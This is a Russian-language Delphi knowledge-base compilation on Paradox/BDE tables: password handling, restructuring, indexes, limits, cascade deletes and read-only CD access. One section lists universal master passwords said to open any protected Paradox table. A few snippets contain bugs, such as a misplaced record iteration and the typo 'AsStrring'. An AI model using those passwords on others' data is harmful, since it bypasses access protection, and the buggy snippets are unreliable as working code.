 end;
end;

with Grid do
 begin
  ColCount := mysql_result.FieldsCount;
  RowCount := mysql_result.RowsCount+1;

  if RowCount = 1 then
   FixedRows := 0
  else
   FixedRows := 1;

  for i := 0 to mysql_result.RowsCount - 1 do
   for j := 0 to mysql_result.FieldsCount do
    begin
     Cells[ j , i + 1 ] := mysql_result.FieldValue( j );
     mysql_result.Next;
    end;
 end;

mysql_result.free;
end;

procedure TMainForm.QueryNoData( Query : string );
begin
// Аналогично предыдущей процедуре, без внесения данных в таблицу. для запросов Insert, Update .....
end;

Автор Mal Hack
Взято с Vingrad.ru http://forum.vingrad.ru


Работа с Paradox

Cодержание раздела:

Как назначить пароль на таблицу?
Как изменить языковый драйвер в runtime?
Как пересоздать индексы?
Ограничения Paradox
Reading the autoincrement value of Paradox table
Имя пользователя Paradox
Ввести пароль Paradox
Печать структуры таблицы Paradox
Вскрытие запароленной таблицы Paradox Updated!
Размеры полей таблицы Paradox
Как упаковать таблицу?
Создание таблицы с автоинкрементальным полем
не сохраняются изменения в базе Paradox
Каскадированное удаление с проверкой целостности Paradox
Как уменьшить дату в Paradox
Как сменить пароль (master password) для таблицы Paradox
Доступ к таблицам Paradox на CD или c флагом только для чтения
Paradox и неверные индексы Win95
Byte-поля Paradox
Как добавить пароль к таблице New!
Как восстановить повреждённую таблицу? New!

См. также статьи в других разделах:
Как сменить пароль для таблицы Paradox?
Быстрый доступ к нужной записи в таблице Paradox
Как восстановить индекс Paradox?
Какой формат данных предпочесть в Delphi? DBase или Paradox?
Из Paradox в Access при помощи ADO


Как назначить пароль на таблицу?

uses Unit2;
// ..
TablePasswort(Table1, 'secret');

unit Unit2;

interface

uses
  BDE, SysUtils, DBTables, Windows;

function TablePasswort(var table: TTable; password: string): Boolean;

implementation

function StrToOem(const AnsiStr: string): string;
begin
  SetLength(result, Length(AnsiStr));
  if Length(result) > 0 then
    CharToOem(PChar(AnsiStr), PChar(result))
end;

function TablePasswort(var table: ttable; password: string): Boolean;
var
  pTblDesc: pCRTblDesc;
  hDb: hDBIDb;
begin
  result := false;
  with table do
  begin
    if Active and (not Exclusive) then
      Close;
    if (not Exclusive) then
      Exclusive := true;
    if (not Active) then
      Open;
    hDb := DBHandle;
    Close
  end;
  GetMem(pTblDesc, sizeof(CRTblDesc));
  FillChar(pTblDesc^, sizeof(CRTblDesc), 0);
  with pTblDesc^ do
  begin
    StrPCopy(szTblName, StrToOem(table.tablename));
    szTblType := szParadox;
    StrPCopy(szPassword, StrToOem(password));
    bPack := true;
    bProtected := true
  end;
  if DbiDoRestructure(hDb, 1, pTblDesc, nil, nil, nil, false) <> DBIERR_NONE then
    exit;
  if pTblDesc <> nil then
    FreeMem(pTblDesc, sizeof(CRTblDesc));
  result := true
end;

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как изменить языковый драйвер в runtime?

procedure SetLanguage(Tbl: TTable; Lang: DbiName);
var
  pOptDesc: pFLDDesc;
  pOptData: pBYTE;
  hDb: hDbiDb;
  TblDesc: CRTblDesc;
  Dir: string;
begin
  pOptDesc := AllocMem(sizeof(FLDDesc));
  pOptData := AllocMem(20);
  SetLength(Dir, dbiMaxNameLen + 1);
  Tbl.Active := True;
  Check(DbiGetDirectory(Tbl.DBHandle, False, PChar(Dir)));
  SetLength(Dir, StrLen(PChar(Dir)));
  try
    FillChar(TblDesc, sizeof(CRTblDesc), #0);
    Tbl.DisableControls;
    Tbl.Close;
    Check(DbiOpenDatabase(nil, nil, dbiReadWrite, dbiOpenExcl, nil, 0, nil, nil,
      hDb));
    Check(DbiSetDirectory(hDb, PChar(Dir)));
    pOptDesc.iOffset := 0;
    pOptDesc.iLen := Length(Lang) + 1;
    StrPCopy(pOptDesc.szName, 'LANGDRIVER');
    StrPCopy(PChar(pOptData), Lang);
    TblDesc.iOptParams := 1;
    TblDesc.pfldOptParams := pOptDesc;
    TblDesc.pOptData := pOptData;
    StrPCopy(TblDesc.szTblName, Tbl.TableName);
    StrCopy(TblDesc.szTblType, szParadox);
    Check(DbiDoRestructure(hDb, 1, @TblDesc, nil, nil, nil, False));
  finally
    Check(DbiCloseDatabase(hDb));
    FreeMem(pOptDesc, sizeof(FLDDesc));
    FreeMem(pOptData, 20);
    Tbl.EnableControls;
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как пересоздать индексы?

procedure TForm1.Button4Click(Sender: TObject);
var
  aExclusive, aActive: Boolean;
begin
  with Table1 do
  begin
    aActive := Active;
    Close;
    aExclusive := Exclusive;
    Exclusive := True;
    Open;
    Check(DbiRegenIndexes(Table1.Handle));
    Close;
    Exclusive := aExclusive;
    Active := aActive;
    Check(DbiSaveChanges(Table1.Handle));
  end;
end;

As when calling any BDE API function, the BDE API wrapper unit BDE (for Delphi 1, the units DbiTypes, DbiErrs, and DbiProcs) must be referenced in the Uses section of the unit from which the call is to be made. The BDE API function DbiSaveChanges, used here, forces any data changes in memory buffer to be written to disk at that point.

Another way to handle this situation -- if you know at design-time all the indexes that will exist for the table -- would be to iterate through the items in the TIndexDefs object of the TTable component, delete each index (DeleteIndex method), and then add all needed indexes back (AddIndex method).

procedure TForm1.Button3Click(Sender: TObject);
var
  aName: string;
  i: Byte;
  aExclusive, aActive: Boolean;
begin
  with Table1 do
  begin
    aActive := Active;
    Close;
    aExclusive := Exclusive;
    Exclusive := True;
    IndexDefs.Update;
    i := IndexDefs.Count;
    while i > 0 do
    begin
      aName := IndexDefs.Items[i - 1].Name;
      DeleteIndex(aName);
      Dec(i);
    end;
    AddIndex('', 'MainField', [ixPrimary]);
    AddIndex('Field1', 'Field1', []);
    AddIndex('Field2', 'Field2', []);
    IndexDefs.Update;
    Exclusive := aExclusive;
    Active := aActive;
    Check(DbiSaveChanges(Table1.Handle));
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Ограничения Paradox

Table and Index Files
127 Tables open per system
64 Record locks on one table (16Bit) per session
255 Record locks on one table (32Bit) per session
255 Records in transactions on a table (32 Bit)
512 Open physical files (DB, PX, MB, X??, Y??, VAL, TV)
300 Users in one PDOXUSRS.NET file
255 Number of fields per table
255 Size of character fields
2 Billion records in a table
2 Billion bytes in .DB (Table) file
10800 Bytes per record for indexed tables
32750 Bytes per record for non-indexed tables
127 Number of secondary indexes per table
16 Number of fields in an index
255 Concurrent users per table
256 Megabytes of data per BLOB field
100 Passwords per session
15 Password length
63 Passwords per table
159 Fields with validity checks (32 Bit)
63 Fields with validity checks (16 Bit)
Взято с Delphi Knowledge Base:http://www.baltsoft.com/


Reading the autoincrement value of Paradox table

The current highest value is stored beginning at byte 73 decimal.
The next value is determined by adding 1 to it.

Here is a simple Delphi function that returns the current
autoincrement value.

function getAutoInc(filename: string): LongInt;
var
  mystream: tfilestream;
  buffer: longint;
begin
  mystream := tfilestream.create(filename,
    fmOpenread + fmShareDenyNone);
  mystream.Seek(73, soFromBeginning);
  mystream.readbuffer(buffer, 4);
  mystream.Free;
  getAutoInc := buffer;
end;


Имя пользователя Paradox

Вы можете выполнить эту задачу, непосредственно обращаясь к BDE. Включите следующие модули в сецию Uses вашего модуля: DBIPROCS, DBIERRS, DBITYPES

Ниже приведена функция с именем ID, возвращающая сетевое имя входа:

function ID: string;
var

  rslt: DBIResult;
  szErrMsg: DBIMSG;
  pszUserName: PChar;
begin

  try
    Result := '';
    pszUserName := nil;
    GetMem(pszUserName, SizeOf(Char) * DBIMAXXBUSERNAMELEN);
    rslt := DbiGetNetUserName(pszUserName);
    if rslt = DBIERR_NONE then
      Result := StrPas(pszUserName)
    else
      begin
        DbiGetErrorString(rslt, szErrMsg);
        raise Exception.Create(StrPas(szErrMsg));
      end;
    FreeMem(pszUserName, SizeOf(Char) * DBIMAXXBUSERNAMELEN);
    pszUserName := nil;
  except
    on E: EOutOfMemory do ShowMessage('Ошибка. ' + E.Message);
    on E: Exception do ShowMessage(E.Message);
  end;
  if pszUserName <> nil then FreeMem(pszUserName, SizeOf(Char) * DBIMAXXBUSERNAMELEN);
end;
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Ввести пароль Paradox

Как мне при соединении с таблицей Paradox устранить/"удовлетворить" окошко с требованием ввести пароль, защищающей таблицу?

Свойство компонента Table ACTIVE должно быть установлено в FALSE. (Если она активна прежде, чем вы ввели пароль, вы получите это окошко.) Затем поместите следующий код в обработчике события формы OnCreate:

session.AddPassword('Мой секретный пароль');
table1.active := true;
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Печать структуры таблицы Paradox

procedure TForm1.Button1Click(Sender: TObject);
const

  FieldTypes: array[0..16] of string[10] = ('Unknown', 'String', 'Smallint',
    'Integer', 'Word', 'Boolean', 'Float', 'Currency', 'BCD', 'Date', 'Time',
    'DateTime', 'Bytes', 'VarBytes', 'Blob', 'Memo', 'Graphic');
var

  i, nX, nY, nHeight, nWidth: Integer;
  rtxtMetric: TTextMetric;
  s: array[0..3] of string[10];
begin

  with Table1.FieldDefs, Printer do
    begin
      Update;
      PrinterIndex := -1;
      Title := 'Структура ' + Table1.TableName;
      BeginDoc;
      nX := 0;
      nY := 0;
      WinProcs.GetTextMetrics(Canvas.Handle, rtxtMetric);
      nHeight := rtxtMetric.tmHeight;
      nWidth := rtxtMetric.tmAveCharWidth;
      for i := 0 to Count - 1 do
        begin
          s[0] := IntToStr(Items[i].FieldNo) + #9;
          s[1] := Items[i].Name + #9;
          s[2] := FieldTypes[Ord(Items[i].DataType)] + #9;
          s[3] := IntToStr(Items[i].Size);
          Canvas.TextOut(nX, nY, s[0]);
          Inc(nX, Length(s[0]) * nWidth);
          Canvas.TextOut(nX, nY, s[1]);
          Inc(nX, Length(s[1]) * nWidth);
          Canvas.TextOut(nX, nY, s[2]);
          Inc(nX, Length(s[2]) * nWidth);
          Canvas.TextOut(nX, nY, s[3]);
          nX := 0;
          nY := i * nHeight;
        end;
      EndDoc;
    end;
end;
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Вскрытие запароленной таблицы Paradox

Предупрежден - значит, вооружен. Берем Парадоксовскую табличку, паролим ее самым секретным паролем, бумажку с паролем сжигаем, а сам пароль забываем. Что теперь делать? Да ничего, просто открываем нашу табличку с одним из паролей: jIGGAe, nx66ppx, cupcdvum. Один, да подойдет.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba

If you forget your paradox table password, try out
on of these passwords, it works well.

for PARADOX 7.0 use this password: "jIGGAe" or "cupcdvum"
for PARADOX 5.0 use this password: same thing
for PARADOX 4.x (DOS) use this password: "nx66ppx"
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Размеры полей таблицы Paradox

Данная общая информация могла бы быть полезной при вычислении максимального размера записи для установки размера каждого блока.

Требования к предельным размерам типов полей таблицы Paradox

Данный список указывает количество байт каждого типа поля таблицы Paradox, занимаемое в структуре записи. Имейте в виду, что указанный размер занимает каждое поля в самом файле .DB, не во вспомогательных файлах типа .MB.

   Тип данных           Байт
   -----------------------------------------------------------
   Alphanumeric          1 байт на символ, до 255
   AutoIncrement         4 байта
   Binary (BLOB)        10 байт + 1 на символ. В пределе
                           (0 - 240) [1]
   Bytes                 1 на символ, максимально до 255.
   BCD                  17
   Currency (Денежный)   8
   Date                  4
   Formatted Memo       10 байт + 1 на символ. В пределе
                           (0 - 240)
   Graphic              10 байт + 1 на символ. В пределе
                           (0 - 240)
   Memo                 10 байт + 1 на символ. В пределе
                           (1 - 240) [2]
   Logical               1
   LongInt               4
   Numeric (Числовой)    8
   OLE                  10 байт + 1 на символ. В пределе
                           (0 - 240)
   SmallInt              2
   Time                  4
   TimeStamp             8

Пределы:
   Maximum Field Count      :  255 полей
   (максимальное количество
    полей)
   Maximum Blocks per table :  64К
   (максимальное количество
    блоков в таблице)
   Maximum Block Size       :  32К символов
   (максимальный размер
    блока)
   Max Record Size, unkeyed :  Текущий размер блока - 6 байта [3]
   (максимальный размер
    записи, неключевой)
   Max Record Size, keyed   :  (BlockSize - 6) / 3, округляется в меньшую сторону
   (максимальный размер        до ближайшего размера блока. [4]
    записи, ключевой)
Сноски:
[1] Все blob-поля содержат 10-байтовые указатели на .MB-файл, которые указывают где могут быть найдены "остальные" значения поля.

[2] В отличие от данных "blob"-типа, Memo-поле требует по крайней мере один "Memo"-символ, сохраненный в .DB-файле, для обеспечения совместимости с Paradox for DOS.

[3] Размер блока по умолчанию хранится в IDAPI.CFG. Для изменения значения по умолчанию, запустите Configuration Utility и измените установку Tables, Paradox, Block Size. Значение по умолчанию 2048 и может изменяться в диапазоне от 1024 до 32К. 6 байтов в данном значении резервируются для внутренних указателей.

[4] Это следствие наличия значений ключа записей Paradox, которые передаются в .PX файл, очень похожий на табличный файл. Размер ключа не может превышать 1/3 размера блока таблицы; в противном случае Paradox будет пытаться увеличить размер блока. При выполнении вычислений не забывайте брать в расчет 6-байтные указатели.

- John B Moore
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Как упаковать таблицу?

uses BDE; // for D3, для D2 не помню (что-то типа DbiProcs и еще что-то)

// для пpимеpа
tLog: TTable; // таблица, юзающая d:\db\log.db

var
  TblDesc: CRTblDesc;
  rslt: DBIResult;
  Dir: string; //имеется в виду huge string т.е. {$H+}
  hDb: hDbiDb;

begin
  tLog.Active := False; //деактивиpуем TTable

  SetLength(Dir, dbiMaxNameLen + 1);
  DbiGetDirectory(tLog.DBHandle, False, PChar(Dir));
  SetLength(Dir, StrLen(PChar(Dir)));

  DbiOpenDatabase(nil, nil, dbiReadWrite, dbiOpenExcl, nil, 0, nil, nil, hDb);

  DbiSetDirectory(hDb, PChar(Dir));

  FillChar(TblDesc, sizeof(CRTblDesc), 0);
  StrPCopy(TblDesc.szTblName, 'd:\db\log.db');
  // здесь должно быть полное имя файла
  //котоpое можно: а) ввести pуками;
  //б) вытащить из пpопеpтей таблицы;
  //в) вытащить из алиаса;
  //г) см. FAQ
  StrCopy(TblDesc.szTblType, szParadox);
  //BTW тут может и szDBase стоять

  TblDesc.bPack := TRUE;

  DbiDoRestructure(hDb, 1, @TblDesc, nil, nil, nil, False);
  DbiCloseDatabase(hDb);

end;

Автор: Pavel Kulchenko

Взято с http://delphiworld.narod.ru


Создание таблицы с автоинкрементальным полем

Допустим у вас имеется форма с кнопкой. Щелчок на кнопке с помощью DbiCreateTable должен создать таблицу Paradox с автоинкрементальным (приращиваемым) полем.

unit Autoinc;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, DBTables, DB, ExtCtrls, DBCtrls, Grids, DBGrids, StdCtrls,
  DbiTypes, DbiErrs, DBIProcs;

const
  szTblName = 'CR8PXTBL'; { Имя создаваемой таблицы. }
  szTblType = szPARADOX; { Используемый тип таблицы. }

  { При создании таблицы используется полное описание поля }
const
  fldDes: array[0..1] of FLDDesc = (
    ({ Поле 1 - AUTOINC }
    iFldNum: 1; { Номер поля }
    szName: 'AUTOINC'; { Имя поля }
    iFldType: fldINT32; { Тип поля }
    iSubType: fldstAUTOINC; { Подтип поля }
    iUnits1: 0; { Размер поля }
    iUnits2: 0; { Десятичный порядок следования ( 0 ) }
    iOffset: 0; { Смещение в записи     ( 0 ) }
    iLen: 0; { Длина в байтах        ( 0 ) }
    iNullOffset: 0; { Для Null-битов        ( 0 ) }
    efldvVchk: fldvNOCHECKS; { Проверка корректности ( 0 ) }
    efldrRights: fldrREADWRITE { Права }
    ),
    ({ Поле 2 - ALPHA }
    iFldNum: 2; szName: 'ALPHA';
    iFldType: fldZSTRING; iSubType: fldUNKNOWN;
    iUnits1: 10; iUnits2: 0;
    iOffset: 0; iLen: 0;
    iNullOffset: 0; efldvVchk: fldvNOCHECKS;
    efldrRights: fldrREADWRITE
    ));

type
  TForm1 = class(TForm)
    Button1: TButton;
    Database1: TDatabase;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
var
  TblDesc: CRTblDesc;
  uNumFields: Integer;
  Rslt: DbiResult;
  ErrorString: array[0..dbiMaxMsgLen] of Char;
begin
  FillChar(TblDesc, sizeof(CRTblDesc), #0);
  lStrCpy(TblDesc.szTblName, szTblName);
  lStrCpy(TblDesc.szTblType, szTblType);
  uNumFields := trunc(sizeof(fldDes) / sizeof(fldDes[0]));
  TblDesc.iFldCount := uNumFields;
  TblDesc.pfldDesc := @fldDes;

  Rslt := DbiCreateTable(Database1.Handle, TRUE, TblDesc);
  if Rslt <> dbiErr_None then
  begin
    DbiGetErrorString(Rslt, ErrorString);
    MessageDlg(StrPas(ErrorString), mtWarning, [mbOk], 0);
  end;
end;

end.

Взято с http://delphiworld.narod.ru


не сохраняются изменения в базе Paradox

Где-нибудь при закрытии главной формы выполните нижеследующие куски кода:
при открытой таблице:

Table.FlushBuffers;

Для прочих:

Table.Open;
Check(dbiSaveChanges(Table.Handle));
Table.Close;

Чтобы сбросить кэш, можно еще после этого сделать:

asm
  mov ah, $0D
  int $21
end;

Взято с http://delphiworld.narod.ru


Каскадированное удаление с проверкой целостности Paradox

Таблицы Paradox имеют характеристику проверки целостности (Referential Integrity). Данная характеристика предотвращает добавление записей в дочернюю таблицу, для которых нет соответствующих записей в родительской таблице. Это также изменяет ключевое(ые) поле(я) в дочерней таблице при изменениях в соответствующем(их) ключевом(ых) поле(ях) родительской таблицы (обычно это называют каскадированным обновлением). Эти события происходят автоматически, и не требуют никакого вмешательства со стороны Delphi-приложений, использующих эти таблицы. Тем не менее, характеристика проверки целостности таблиц Paradox не работает с каскадированным удалением. То есть, Delphi не позволит вам удалять записи в родительской таблице при наличии существующих записей в дочерней таблице. Это могут сделать только дочерние записи "без родителей", обходя проверку целостности. При попытке удаления такой родительской записи, Delphi сгенерит объект исключительной ситуации.

Для того, чтобы каскадированное удаление дало эффект, требуется программное удаление соответствующих дочерних записей прежде, чем будет удалена родительская запись. В приложениях Delphi это делается посредством прерывания удаления записи в родительской таблице, удаление соответствующих записей в дочерней таблице (если таковая имеется), и затем продолжение удаления родительской записи.

Удаление записи таблицы осуществляется вызовом метода Delete компонента TTable, который удаляет текущую запись в связанной с компонентом таблице. Прерывание процесса удаления для выполнения других операций связано с созданием обработчика события BeforeDelete компонента TTable. Любые действия в обработчике события BeforeDelete произойдут прежде, чем приложением будет послана команда Borland Database Engine (BDE) на физическое удаление записи из табличного файла.

Для того, чтобы обработать удаление одной или более дочерних записей, в обработчике события BeforeDelete необходимо организовать цикл, осуществляющий вызов метода Delete компонента TTable для всех записей дочерней таблицы. Цикл основан на условии, что указатель на запись в таблице не позиционируется на конец набора данных, как указано методом Eof компонента TTable. Это также предполагает, что удаляются все дочерние записи, соответствующие родительским записям: если нет соответствующих записей, указатель на запись устанавливается на конец набора данных, условие выполнения цикла равно False, и метод Delete в теле цикла никогда не выполняется.

procedure TForm1.Table1BeforeDelete(DataSet: TDataset);
begin
  with Table2 do
  begin
    DisableControls;
    First;
    while not Eof do
      Delete;
    EnableControls;
  end;
end;

В вышеуказанном примере родительская таблица представлена компонентом TTable с именем Table1, и дочерняя таблица с именем Table2. Методы DisableControls и EnableControls использованы в "косметических" целях, чтобы "заморозить" любые компоненты для работы с базами данных, которые могли бы отображать данные из таблицы Table2 во время удаления записей. Эти два метода делают процесс визуально "гладким", и не являются обязательными. Метод Next в теле данного цикла вызываться не должен. Дело в том, что цикл начинается с первой записи и, так как каждая запись удаляется, запись, предшествующая удаленной, перемещается в наборе данных вверх, становясь одновременно первой и текущей записью.

Данный пример предполагает, что родительская и дочерняя таблицы связаны отношением Мастер-Деталь, типичным для таблиц, в которых сконфигурирована проверка целостности. В результате, в связанных таблицах становятся доступны только те записи дочерней таблицы, которые соответствуют текущей записи родительской таблицы. Все другие записи в дочерней таблице делаются недоступными через фильтрацию Мастер-Деталь. Если таблицы не связаны отношениями Мастер-Деталь, то есть два дополнительных замечания, которые необходимо принимать во внимание при удалении записи дочерней таблицы. Первое: вызов метода First может и не переместить указатель записи в запись, соответствующей текущей записи родительской таблицы. Для этого необходимо воспользоваться методом search, вручную перемещающий указатель на сопоставимую запись. Второе замечание относится к условию цикла. Поскольку будут доступны другие записи, не относящиеся к записям родительской таблицы, сопоставимым (Мастер-Деталь) к текущей записи, то перед удалением записи необходимо осуществлять проверку на сопоставимость удаляемой записи. Эта проверка должна проводиться дополнительно к методу Eof. Поскольку записи будут сортироваться по ключевому полю (первичного или вторичного индекса), все сопоставления (Мастер-Деталь) будут непрерывными. Это будет истиной до достижения первой не-сопоставимой записи, после чего можно считать, что все сопоставимые записи были удалены. Таким образом, предыдущий пример необходимо изменить следующим образом:

procedure TForm1.Table1BeforeDelete(DataSet: TDataset);
begin
  with Table2 do
  begin
    DisableControls;
    FindKey([Table1.Fields[0].AsString])
    while (Fields[0].AsStrring = Table1.Fields[0].AsString)
    and (not Eof) do
      Delete;
    EnableControls;
  end;
end;

В приведенном выше примере - первое поле родительской таблицы (Table1), на которой базируется проверка целостности, и первое поле дочерней таблицы (Table2), с которым производится сопоставление

Взято с http://delphiworld.narod.ru


Как уменьшить дату в Paradox

В Local SQL для Paradox имеется ошибка, вместо вычитания происходит сложение даты с константой.

// Это добавляет единицу!
UPDATE SAMPLE.DB SET DT = DT - 1

// а данное выражение даст правильный результат:
UPDATE SAMPLE.DB SET DT = DT + (-1)

Взято с сайта http://www.delphifaq.com


Как сменить пароль (master password) для таблицы Paradox

var
  db: TDatabase;
  Desc: CRTblDesc;
begin
  db := PriceTable.OpenDatabase;
  FillChar( Desc, SizeOf( Desc ), #0 );
  StrCopy( Desc.szTblName, PChar( PriceTable.TableName ) );
  StrCopy( Desc.szTblType, szParadox );
  StrCopy( Desc.szPassword, 'password' );
  Desc.bProtected := TRUE;
  Check( DbiDoRestructure( db.Handle, 1, @Desc, nil, nil, nil, FALSE ) );
end;

Автор: Nomadic

Взято с http://delphiworld.narod.ru


Доступ к таблицам Paradox на CD или c флагом только для чтения

Данный совет поможет вам разобраться в таком вопросе, как доступ к таблицам Paradox, расположенным на CD-ROM или диске, имеющем флаг "только для чтения".

Механиз блокирования файлов Paradox требует наличие файла PDOXUSRS.LCK, осуществляющий логику работы блокировки. Данный файл обычно создается во время выполнения приложения и располагается в том же каталоге, где и таблицы. Тем не менее, в случае с CD-ROM, во время выполнения программы нет никакой возможности создать на нем описанный выше файл. Решение простое: мы создаем этот файл и помещаем его на CD-ROM во время его (CD) создания. Следующая простейшая программка позволит создать вам файл PDOXUSRS.LCK и поместить его в образ компакта для его последующего копирования на CD-ROM:

Стартуйте пустой проект и добавьте на форму следующие компоненты: TEdit, TButton и TDatabase.
В обработчике кнопки OnClick используйте следующий код:

procedure TForm1.Button1Click(Sender: TObject);
begin
  if ChkPath then
    Check(DbiAcqPersistTableLock(Database1.Handle,
      'PARADOX.DRO','PARADOX'));
end;

Функция ChkPath является методом, определенным пользователем для формы. Она просто проверяет путь, введенный пользователем в поле редактирования и убеждается, что он существует. Вот функция:

function TForm1.ChkPath: Boolean;
var
  s: array[0..100] of char;
begin
  if DirectoryExists(Edit1.Text) then
    begin
      DataBase1.DatabaseName := 'TempDB';
      DataBase1.DriverName := 'Standard';
      DataBase1.LoginPrompt := false;
      DataBase1.Connected := False;
      DataBase1.Params.Add('Path=' + Edit1.Text);
      DataBase1.Connected := TRUE;
      Result := TRUE;
    end
  else
    begin
      StrPCopy(s, 'Каталог : ' + Edit1.text + ' не найден');
      Application.MessageBox(s, 'Ошибка!', MB_ICONSTOP);
      Result := FALSE;
    end;
end;

{ Примечание: Не забудьте добавить объявление
  функции в секцию public формы. }

Перед компиляцией необходимо вспомнить еще об одной вещи: в список Uses нужно добавить следующие модули:
Delphi 1.0: FileCtrl, DbiProcs, DbiTypes, DbiErrs.
Delphi 2.0: FileCtrl , BDE
После компиляции и выполнения, программа создаст два файла в определенном вами каталоге. Создаваемые два файла: PDOXUSRS.LCK и PARADOX.LCK.
Примечание: Файл PARADOX.LCK необходим только для доступа к таблицам Paradox for DOS, так что вы можете его удалить.

Вам осталась сделать только одну последнюю вещь: скопировать оставшийся файл (PDOXUSRS.LCK) в образ CD-ROM. Естественно, ваши таблицы будут только для чтения.
Примечание: Если вы собираетесь довольно часто пользоваться данной утилитой, то для удобства вы можете изменить свойство Text компонента Edit на ваш "любимый" каталог, а свойство Caption кнопки поменять на что-нибудь более "интеллектуальное".

Вот окончательная версия кода:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, DB, StdCtrls, FileCtrl,

{$IFDEF WIN32}
  BDE;
{$ELSE}
  DbiProcs, DbiTypes, DbiErrs;
{$ENDIF }

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    Database1: TDatabase;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    function ChkPath: Boolean;
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

function TForm1.ChkPath: Boolean;
var
  s: array[0..100] of char;
begin
  if DirectoryExists(Edit1.Text) then
    begin
      DataBase1.DatabaseName := 'TempDB';
      DataBase1.DriverName := 'Standard';
      DataBase1.LoginPrompt := false;
      DataBase1.Connected := False;
      DataBase1.Params.Add('Path=' + Edit1.Text);
      DataBase1.Connected := TRUE;
      Result := TRUE;
    end
  else
    begin
      StrPCopy(s, 'Каталог : ' + Edit1.text + ' не найден');
      Application.MessageBox(s, 'Ошибка!', MB_ICONSTOP);
      Result := FALSE;
    end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if ChkPath then
    Check(DbiAcqPersistTableLock(Database1.Handle,
      'PARADOX.DRO', 'PARADOX'));
end;

end.

Взято с http://delphiworld.narod.ru


Paradox и неверные индексы Win95

Автор: David W. Husch

Сообщение об ошибке: В файловой системе win95 существует ошибка, "микширующая" блокировку записи Paradox и механизм обновления. В хост-файлах Paradox в Windows 95 для работы нескольких пользователей измените следующие значения:

Select Control Panel
System (icon)
Performance (Tab)
File System (Button)
Troubleshooting (Tab)
"Disable New File Sharing and Locking Semantics" (щелкните) (нажмите OK)
(Выключить общий доступ к новым файлам и семантику блокировки)

Взято с http://delphiworld.narod.ru


Byte-поля Paradox

Что за магия при записи в поле Paradox Byte? По этому поводу в документации ничего не сказано.

Есть 2 пути получить доступ к данным в TBytesField.

Просто вызовите метод GetData, передавая ему указатель на буфер, где сам буфер должен иметь размер, достаточный для хранения данных:

procedure SetCheckBoxStates;
var
  CBStates: array[1..13] of Byte;
begin
  CBStateField.GetData(CBStates);
  { Здесь обрабатываем данные... }
end;

Для записи значений вы должны использовать SetData.

Используйте свойство Value, возвращающее вариантный массив байт (variant array of bytes):

procedure SetCheckBoxStates;
var
  CBStates: Variant;
begin
  CBStates := CBStateField.Value;
  { Здесь обрабатываем данные... }
end;

Первый метод, вероятно, для вас будет легче, поскольку вы сразу докапываетесь до уровня байт. Запись данных также получится сложнее, поскольку вам нужно будет работать с variant-методами типа VarArrayCreate и др.

Взято с http://delphiworld.narod.ru


Краткое описание Paradox

1) Краткое описание - Парадокс - одна из самых старых локальных баз данных. Изначально развивалась фирмой Борланд (до 7й версии включительно), последние 3 версии: 8я, 9я и 10я выпущены фирмой Corel. В настоящее время судьба проекта не известна, но есть основания предполагать, что ни Борланд, ни Corel не имеют далекоидущих планов в отношении этой базы данных, а объёмы её продаж в чистом виде незначительны, впрочем она входит в поставку некоторых версий Corel Office.

2) возможности
- количество баз данных на сервере - собственно база данных представляет собой каталог на диске который содержит файлы таблиц, индексов, view, форм и т.п. На одном компьютере может быть практически ничем не ограниченное количенство баз данных.

- количество таблиц в базе - неограниченно, но одновременно на одном компьютере не может быть открыто более 127 таблиц и 512 физических файлов

- размер таблиц - 255 полей, 2000000 записей в таблице (реально меньше, так как лимит блокировок исчерпывается быстрее, реальное количество записей где-то около полумиллиона),
10800 Bytes максимальный размер записи (без Memo/Blob полей), 127 вторичных индексов на таблицу,
256 Mb максимум в Blob поле

- количество пользователей и количество одновременных подключений - теоретический предел - 300 пользователей, но к этой информации надо относится с известной долей скептицизма, как и любая другая локальная база данных, парадокс в силу своей архитектуры очень плохо работает в многопользовательском режиме и реальное количество работающих одновременных подключений вряд ли может быть больше 10-20.

- наличие View - есть возможность создания View, которые представляют собой обычные текстовые файлы, отвечающие следующим требованиям:
- лежат в каталоге базы данных
- имеют расширение sql
- в качестве наполнения имеют обычное выражение SQL
Кроме того имеется другая разновидность View - файлы QBE (Query By Example) - очень древний, но довольно удобный способ работы с данными - альтернатива SQL, отличается гораздо большей гибкостью, чем SQL, но тем ни менее с развитием серверных баз данных отошедший в прошлое. Итак возможно создание текстового файла с расширением qbe и выражением qbe-запроса внутри, который можно использовать как View

- наличие SP, языка программирования - сам парадокс поддерживает хранимые процедуры на своём собственном языке, однако я не знаю, можно ли их использовать вне самого парадокса из других програм. Вот пример SP:

method pushButton (var eventInfo Event)
var
txt String
myNum Number
endVar
myNum = 123.321
txt = String(myNum)
msgInfo("myNum = ", txt)
endMethod
method pushButton (var eventInfo Event)

- наличие триггеров - нет

- репликация и синхронизация, перенос данных, средства backup - нет, однако, так как каждый объект базы данных является по сути отдельным файлом можно применять любые утилиты для Backup/Restore файлов.

- поддержка кластеров - нет

- поддержка XML, объектов, внешних процедур. - нет

- возможность взаимодействия между серверами, включая сервера других типов. - BDE имеет средства для взаимодействия между любыми базами данных, для которых есть BDE драйвера.
Вот пример SQL запроса к 2м базам данных:

Select T1.Field1, T2.Field2 From :Alias1:Table1 T1, :Alias2:Table2 T2
Where T1.Field3=T2.Field4

В данном случае не важно в какого типа базы данных под Alias1 и Alias2 - это могут быть базы данных любых разновидностей.

- поддерживаемые типы данных

Alpha - строка
